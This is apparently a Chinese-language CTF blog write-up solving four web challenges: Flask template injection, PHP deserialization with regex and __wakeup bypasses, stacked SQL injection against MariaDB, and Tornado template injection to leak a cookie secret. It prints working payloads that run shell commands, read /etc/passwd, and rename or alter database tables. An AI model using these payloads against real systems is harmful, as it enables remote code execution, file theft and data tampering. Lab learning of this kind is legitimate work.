前言
继续ctf的旅程
攻防世界web高手进阶区的3分题
1、Web_python_template_injection
题目提示是python template injection
是SSTI。。。
。。。。。。
之前没接触过,现学
从零学习flask模板注入
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
找到我们想要 的 os
所在的 site._Printer
类,它在列表的第72位
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
得到flag所在的位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
到手
也可以用
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
得到flag
注:
几个有用的payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
2、Web_php_unserialize
进来是这么一段源码
- 初始化传入值可以更改类中属性file的值
- flag在fl4g.php
- 当demo实列销毁时会高亮显示file指向的文件内容
参数传入要求
- 先进行base64加密
- preg_match()匹配绕过
- unserialize() 反序列化执行_wakeup()的绕过
加密和反序列化都不是问题
关键是绕过正则匹配和_wakeup()
wakeup的绕过还行
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
正则的绕过不太懂
查了查是说用“+”即可
后来找到一篇解释
大佬笔记
最后得到脚本
<?php
class Demo {
private $file = 'fl4g.php'; //flag在fl4g.php
}
$a= serialize(new demo); //序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>
运行得到payload
TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
放入url
得到flag
注:
关注版本问题
像“+”绕过正则是php5里的
3、supersqli
进去瞅着是sql注入
加个'
试下
存在sql注入
数据库是MariaDB
先猜字段
1' order by 2# 返回正常
1' order by 3# 返回错误
所以是两列
爆库
1' union select 1,database()#
出问题了
这些关键词被过滤了
笔者懵逼
查了下
可以用堆叠注入
查数据库
1';show databases;#
查表
1';show tables;#
那应该在这两个表里
爆列
1';show columns from `1919810931114514`;# 这里注意反引号
1';show columns from words;#
可以看到flag在1919810931114514
这个表里
mysql中可以用handler查询
尝试下
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
得到flag
看了看writeup:
发现最后查数据的方法主要有两种
- 预处理
- 改表名
(反正看了四五篇没看到跟笔者一样用handler的)
预处理
这个绕过方式有点妙
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;#
改表名
将表1919810931114514名字改为words,flag列名字改为id
这个思路蛮符合攻击者的,暴力修改,一切随我心意
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后用1‘ or 1=1#
4、easy_tornado
进去是三个文件
给了三个提示:
- flag在/fllllllllllllag文件里
- render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面,可能与SSTI有关
- filehash=md5(cookie_secret+md5(filename)),我们只需要找到cookie_secret
可参考python SSTI tornado render模板注入
构造payload
error?msg={{ handler.settings }}
获取cookie_secret
然后就可以根据要求进行md5加密
再构造payload形似
file?filename=/fllllllllllllag&filehash=******************